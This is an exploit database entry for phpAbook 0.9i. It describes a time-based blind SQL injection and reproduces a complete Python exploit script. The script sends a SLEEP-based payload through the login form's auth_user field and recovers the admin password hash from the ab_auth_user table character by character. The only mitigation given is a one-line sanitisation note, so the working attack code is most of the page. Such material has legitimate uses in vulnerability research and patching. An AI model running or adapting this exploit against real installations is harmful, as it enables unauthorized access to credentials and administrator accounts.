phpAbook 0.9i - SQL Injection

vendor:

phpAbook

by:

Said Cortes, Alejandro Perez

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: phpAbook

Affected Version From: v0.9i

Affected Version To: v0.9i

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2021

phpAbook 0.9i – SQL Injection

This exploit allows an attacker to gain access to the admin hash of the phpAbook 0.9i application. The exploit works by sending a malicious request to the index.php page of the application, which contains an SQL injection payload. The payload is designed to extract the admin hash from the ab_auth_user table, by looping through each character of the hash and comparing it to a known character set. If the character matches, the payload will cause the application to sleep for 3 seconds, allowing the attacker to identify the character of the hash.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all user input is properly sanitized and validated before being used in an SQL query.

Source

Exploit-DB raw data:

# Exploit Title: phpAbook 0.9i - SQL Injection
# Date: 2021-06-29
# Vendor Homepage: http://sourceforge.net/projects/phpabook/
# Exploit Author: Said Cortes, Alejandro Perez
# Version: v0.9i
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

import requests
import argparse
import string
import sys


def exploit(session,host):
    print("Starting Exploit\nSearching Admin Hash...")
    passwordhash = ''
    for i in range(1,33):
        charset = string.digits + string.ascii_lowercase
        for letter in charset:
            burp0_url = f"{host}/index.php"
            burp0_data = {"auth_user": f"admin'-IF((SELECT MID(password,{i},1) from ab_auth_user where uid=1)='{letter}',SLEEP(3),0)#", "auth_passwd": "admin", "lang": "en", "submit": "Login"}
            try:
                session.post(burp0_url, data=burp0_data, timeout=1)
            except requests.Timeout:
                passwordhash += letter
                continue
    print("admin:"+passwordhash)
        

                
    
if __name__ == "__main__" :
    session = requests.session()
    parser = argparse.ArgumentParser()
    parser.add_argument("-u","--url",help="host url \nex: http://127.0.0.1/phpabook",required=True)
    arg = parser.parse_args()
    exploit(session,arg.url)